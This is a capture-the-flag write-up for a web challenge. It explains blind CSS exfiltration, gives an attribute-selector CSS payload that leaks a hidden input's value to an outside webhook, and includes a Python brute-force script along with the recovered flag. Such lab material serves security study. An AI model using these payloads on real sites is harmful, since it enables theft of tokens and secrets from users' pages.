Beautiful Style Writeup
0x01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>My Beautiful Site</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
crossorigin="anonymous"
/>
<link href="/uploads/.css" rel="stylesheet" />
</head>
<body>
<div class="container">
<h1 id="title">Welcome to my beautiful site</h1>
<p id="sub-header">
Here is some content that I want to share with you. An example can be
this flag:
</p>
<input id="flag" value="" />
</div>
<div class="container mt-4">
<form action="/judge/" method="post">
<input type="submit" value="Submit for judging">
</form>
</div>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"
></script>
</body>
</html>
We can see that we are to craft our own CSS, which will be submitted for judging. Therefore, we are able to use Blind CSS Exfiltration
vulnerability for this challenge (https://portswigger.net/research/blind-css-exfiltration) to get the flag
0x02
Firstly we need setup a Webhook, and the payload we will be using:
1
2
3
4
input[id=flag][value^='grey{... ']{
background-image: url(<webhook-url>?flag=grey{ ...);
color: red;
}
By doing such, when the value ^= 'grey{... '
is a valid CSS property value, it will trigger a request with the value of the flag grey{...
, and we are able to receive the flag by accessing the Webhook.
0x03
Secondly, we need to write a python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
from bs4 import BeautifulSoup
url = "http://challs.nusgreyhats.org:33339/"
def submit(content):
# css injection
data = {"css_value" : "input[id=flag][value^='" + content + "']{background-image: url(<webhook site>?flag=" + content + ");color: red;}"}
print("Payload:", data["css_value"])
# sending data to "/submit"
request = requests.post(url=url + "/submit", data=data)
print("Url: ",url)
# filter out judgeLink
soup = BeautifulSoup(request.text, "html.parser")
form = soup.find("form")
judgeLink = form.get("action")
return judgeLink
def judge(flagTest):
newUrl = url + flagTest
request2 = requests.post(newUrl)
if __name__ == "__main__":
words = '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZf}'
flag = 'grey{'
for i in words:
flagTest = flag + i
judgeLink = submit(flagTest)
print("judgeLink:", judgeLink)
judge(judgeLink)
print("---------------------------------------------------------")
By running it once, we checked the Webhook and discovered the Webhook recieved a get request and the ‘flag’ parameter has a value of “grey{X”. This means that the first part of the flag is “grey{X”
We need to changing and updating the flag value:
1
2
3
4
5
6
7
8
9
if __name__ == "__main__":
words = '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZf}'
flag = 'grey{X' # updating the flag value
for i in words:
flagTest = flag + i
judgeLink = submit(flagTest)
print("judgeLink:", judgeLink)
judge(judgeLink)
print("---------------------------------------------------------")
By repeating the whole process mutiple times, we are able to get the flag grey{X5S34RCH1fY0UC4NF1ND1T}
(We will eventually stop when the flag has a closing bracket as the format of the flag is grey{...}
)